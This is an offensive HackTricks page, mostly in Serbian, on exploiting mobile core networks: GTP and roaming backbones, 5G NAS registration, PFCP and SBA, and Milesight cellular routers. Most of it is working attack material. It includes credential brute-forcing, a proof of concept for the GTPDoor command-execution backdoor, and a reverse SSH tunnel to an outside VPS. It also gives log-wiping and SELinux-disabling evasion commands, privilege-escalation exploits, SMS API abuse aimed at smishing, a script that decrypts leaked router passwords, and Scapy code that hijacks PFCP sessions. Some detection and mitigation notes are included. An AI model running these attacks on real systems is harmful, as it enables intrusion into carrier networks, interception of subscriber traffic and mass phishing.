Eksploatacija telekom mreža (GTP / roaming okruženja)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Note
Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz delimično poverljive GRX/IPX roaming backbones. Pošto idu preko običnog UDP-a sa gotovo nikakvom autentikacijom, bilo koja tačka pristupa unutar telekom perimetra obično može direktno da dosegne core signalling plane. Sledeće beleške sakupljaju ofanzivne trikove zabeležene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
1. Recon & Initial Access
1.1 Podrazumevani OSS / NE nalozi
Iznenađujuće veliki broj mrežnih elemenata proizvođača isporučuje se sa hard-coded SSH/Telnet nalozima kao što su root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Posvećen wordlist dramatično povećava uspeh brute-force napada:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Ako uređaj izlaže samo management VRF, prvo pivotirajte preko jump host-a (pogledajte odeljak «SGSN Emu Tunnel» ispod).
1.2 Otkrivanje hostova unutar GRX/IPX
Većina GRX operatera i dalje dozvoljava ICMP echo preko backbone-a. Kombinujte masscan sa ugrađenim gtpv1 UDP probes da brzo mapirate GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
Sledeći Go alat kreira pakete GTP-C Create PDP Context Request i beleži odgovore. Svaki odgovor otkriva trenutni SGSN / MME koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ključne opcije:
--imsiCiljni IMSI pretplatnika--operHome / HNI (MCC+MNC)-wUpisuje sirove pakete u pcap
Važne konstante unutar binarnog fajla mogu biti patched da bi se proširili skenovi:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Izvršavanje koda preko GTP – GTPDoor
GTPDoor je mali ELF servis koji veže se na UDP 2123 i parsira svaki dolazni GTP-C paket. Kada payload počinje sa pre-shared tagom, ostatak se dešifruje (AES-128-CBC) i izvršava putem /bin/sh -c. stdout/stderr se eksfiltriraju unutar Echo Response poruka tako da nikakva izlazna sesija nikada nije kreirana.
Minimalni PoC paket (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detekcija:
- bilo koji host koji šalje unbalanced Echo Requests ka SGSN IP-ovima
- GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije
4. Pivoting kroz jezgro
4.1 sgsnemu + SOCKS5
OsmoGGSN isporučuje SGSN emulator sposoban da uspostavi PDP context prema realnom GGSN/PGW. Nakon pregovora, Linux dobija novi tun0 interfejs koji je dostupan od strane roaming peera.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi VLAN-ove namenjene samo za signalizaciju i dovodi vas direktno u data plane.
4.2 SSH Reverse Tunnel preko Port 53
DNS je gotovo uvek otvoren u infrastrukturama za roaming. Izložite internu SSH uslugu na svom VPS-u koja sluša na :53 i povežite se kasnije iz kuće:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Proverite da li je GatewayPorts yes omogućen na VPS-u.
5. Skriveni kanali
| Kanal | Transport | Dekodiranje | Napomene |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-bajtni ključ + 14-bajtni blokovi (XOR) | potpuno pasivan osluškivač, bez izlaznog saobraćaja |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) kodirano u oktetima A-recorda | prati *.nodep subdomen |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob u private IE | uklapa se u legitimni GTP-C saobraćaj |
Svi implants implementiraju watchdogs koji timestomp njihove binaries i re-spawn-uju ih ako se sruše.
6. Cheatsheet za izbegavanje detekcije
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation na Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Savet za čišćenje:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Alatni paket
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– custom tooling opisani u prethodnim sekcijama.FScan: TCP skeniranja unutar intraneta (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lagano SOCKS5 pivotiranjeFRP(≥0.37) : NAT traversal / asset bridging
9. 5G NAS napadi na registraciju: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Postupak registracije u 5G radi preko NAS (Non-Access Stratum) na vrhu NGAP-a. Dok se NAS sigurnost ne aktivira komandama Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo predbezbednosno prozorsko stanje omogućava više puteva napada kada možete posmatrati ili menjati N2 saobraćaj (npr. on-path unutar core, rogue gNB, ili testbed).
Tok registracije (pojednostavljeno):
- Registration Request: UE šalje SUCI (šifrovan SUPI) i mogućnosti.
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
- Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju.
- PDU Session Establishment: podešavanje IP/QoS.
Saveti za laboratorijsko podešavanje (non-RF):
- Core: podrazumevana Open5GS instalacija je dovoljna za reprodukciju tokova.
- UE: simulator ili test UE; dekodirajte koristeći Wireshark.
- Aktivni alati: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Korisni display filteri u Wireshark-u:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Privatnost identifikatora: propusti SUCI koji izlažu SUPI/IMSI
Očekivano: UE/USIM mora prenositi SUCI (SUPI šifrovan javnim ključem home network-a). Pronalaženje plain‑text SUPI/IMSI u Registration Request ukazuje na propust u privatnosti koji omogućava trajno praćenje pretplatnika.
Kako testirati:
- Snimite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
- Brze provere u Wireshark-u:
- Treba da dekodira kao SUCI, a ne kao IMSI.
- Primer filtera:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucibi trebalo da postoji; odsustvo uz prisustvoimsiukazuje na leak.
Šta prikupiti:
- MCC/MNC/MSIN ako su izloženi; zabeležite po UE i pratite kroz vreme/lokacije.
Mitigacija:
- Sprovoditi SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.
9.2 Snižavanje capability-ja na null algoritme (EEA0/EIA0)
Pozadina:
- UE reklamira podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE u Registration Request-u.
- Uobičajene mapiranja: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
Problem:
- Pošto Registration Request nije zaštićen integritetom, on‑path napadač može očistiti bitove capability-ja kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.
Ofanzivni koraci:
- Interceptujte InitialUEMessage i modifikujte NAS UE Security Capability da reklamira samo EEA0/EIA0.
- Sa Sni5Gect, hook-ujte NAS poruku i zapatch-ujte capability bitove pre prosleđivanja.
- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.
Verifikacija/vidljivost:
- U Wireshark-u potvrdite izabrane algoritme nakon Security Mode Command/Complete.
- Primer izlaza pasivnog sniffer-a:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Ublažavanja (obavezno):
- Konfigurišite AMF/policy da odbaci EEA0/EIA0 osim gde je strogo naređeno (npr. hitni pozivi).
- Preporučuje se primena EEA2/EIA2 kao minimum; beležite i generišite alarm za svaki NAS security context koji pregovara null algorithms.
9.3 Replay početnog Registration Request (pre-security NAS)
Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti replayed ka AMF.
PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Da li AMF prihvata replay i nastavlja na autentifikaciju; nedostatak provere svežine/konteksta ukazuje na izloženost.
Mitigations:
- Primeniti replay protection/context binding na AMF; rate-limit i korrelisati po GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Kontinuirano proveravati Registration Request zbog plaintext SUPI/IMSI; blokirati offending devices/USIMs.
- Odbaciti EEA0/EIA0 osim za striktno definisane procedure za hitne slučajeve; zahtevati najmanje EEA2/EIA2.
- Otkrivati neovlašćenu ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
- Generisati alert na NAS security modes koji rezultuju null algorithms ili čestim replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Zloupotreba izloženih web API-ja industrijskih ćelijskih rutera omogućava prikriveni, carrier-origin smishing u velikom obimu. Milesight UR-series ruteri izlažu JSON-RPC–style endpoint na /cgi. Kada je pogrešno konfigurisano, API se može query-ovati bez autentifikacije da bi listao SMS inbox/outbox i, u nekim deployment-ima, slao SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Odgovori sadrže polja kao što su timestamp, content, phone_number (E.164) i status (success ili failed). Ponavljana slanja koja imaju failed ka istom broju često su napadačeve “capability checks” da bi potvrdili da router/SIM može da isporuči pre masovnog slanja.
Primer curl komande za exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Beleške o auth artifacts:
- Neki saobraćaj može uključivati auth cookie, ali veliki deo izloženih uređaja odgovara bez ikakve autentifikacije na
query_inbox/query_outboxkada je management interface Internet-facing. - U okruženjima koja zahtevaju auth, previously-leaked credentials (see below) restore access.
Credential recovery path – CVE-2023-43261:
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: web-served logs (e.g.,
httpd.log) are reachable unauthenticated under/lang/log/and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. - Praktičan pristup i dekriptovanje:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Minimalni Python za decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Ideje za hunting i detekciju (mreža):
- Upozori na neautentifikovan
POST /cgičije JSON telo sadržibase/functionpodešeno naquery_inboxiliquery_outbox. - Prati ponovljene serije
POST /cgipraćene unosimastatus":"failed"koji dolaze sa više jedinstvenih brojeva sa iste izvorišne IP adrese (capability testing). - Inventarizuj Internet-exposed Milesight routers; ograniči upravljanje na VPN; onemogući SMS funkcije osim ako nisu potrebne; nadogradi na ≥ v35.3.0.7; rotiraj kredencijale i pregledaj SMS logove radi nepoznatih slanja.
Shodan/OSINT pivots (primeri viđeni u praksi):
http.html:"rt_title"matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log.
Operativni uticaj: korišćenje legitimnih carrier SIM-ova u ruterima daje veoma visoku SMS isporučivost i kredibilitet za phishing, dok izloženost inbox/outbox leaks osetljive metapodatke u velikoj meri.
11. PFCP Session Hijack & GTP-U TEID Abuse
11.1 PFCP Session Modification to steal flows
Ako možeš da komuniciraš PFCP na N4 (npr. sa pogrešno filtriranog GRX/IPX segmenta), sastavi Session Modification Request koji ubacuje duplikat PDR ID ali sa manjom Precedence i FAR koja pokazuje na tvoj host. Neki UPFs (npr. OAI-cn5g) primenjuju prvi podudarajući PDR i nikad ne proveravaju jedinstvenost, pa zlonamerni PDR preusmerava sve naredne pakete te PDU sesije ka tvom sinku.
Minimal Scapy PoC (pretpostavlja da je PFCP contrib dostupan i da znaš SEID/PDR IDs):
Scapy PFCP session hijack PoC
```python from scapy.all import * from scapy.contrib.pfcp import *n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR
pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)
</details>
### 11.2 Injecting user traffic by spoofing TEIDs
Ako uplink GTP-U sa backbone‑a nije ACL’d, možete replay/guess **TEIDs** viđene u GTP-U headerima i enkapsulirati proizvoljan IP/TCP prema UE‑jevom peer‑u ili Internetu. Example craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))
Uparite ovo sa passive sniffing na N3/N6 da biste otkrili active TEIDs; mnogi PGW/UPF stacks prihvataju bilo koji uplink source čim TEID odgovara.
12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)
FivGeeFuzz (academic 2025) automatski izvlači gramatike iz 3GPP OpenAPI specifikacija kako bi fuzz-ovao HTTP-based SBIs. Protiv free5GC otkrio je osam bagova, uključujući zlopotrebu Cross-Service Token: kompromitovani NF dobija access token za Service A i ponovo ga koristi protiv Service B zato što audience/issuer provere nedostaju u ciljnom NF.
Brza ideja za replay (pretpostavljajući da ste ukrali NRF-issued token iz bilo kog NF):
# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts
Za automatsko fuzz-ovanje pomoću FivGeeFuzz grammars:
python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500
Obratite pažnju na 401/403 bypasses i crashes u SMF/AMF pods; ispravljene free5GC builds odbacuju neusklađene aud/iss.
Ideje za detekciju
- Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests.
- Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes sa internim IP-ovima.
- Česte Echo Requests bez odgovarajućih Echo Responses – može ukazivati na GTPDoor beacone.
- Visok intenzitet ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima.
- 5G: InitialUEMessage koji nosi NAS Registration Requests ponovljene sa istih endpoint-a (replay signal).
- 5G: NAS Security Mode koji pregovara EEA0/EIA0 van hitnih konteksta.
- PFCP: Session Modification koji nosi duplikat PDR ID-jeva ili iznenadnu FAR redirekciju ka off-net IP-ovima.
- SBA: NRF izdaje tokene čiji
audne odgovara pozvanom NF-u – indikativno za Cross-Service Token replay.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
- Cross-Service Token in 5G Core (API Security Blog)
- PFCP Session Modification Hijack in OAI UPF
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


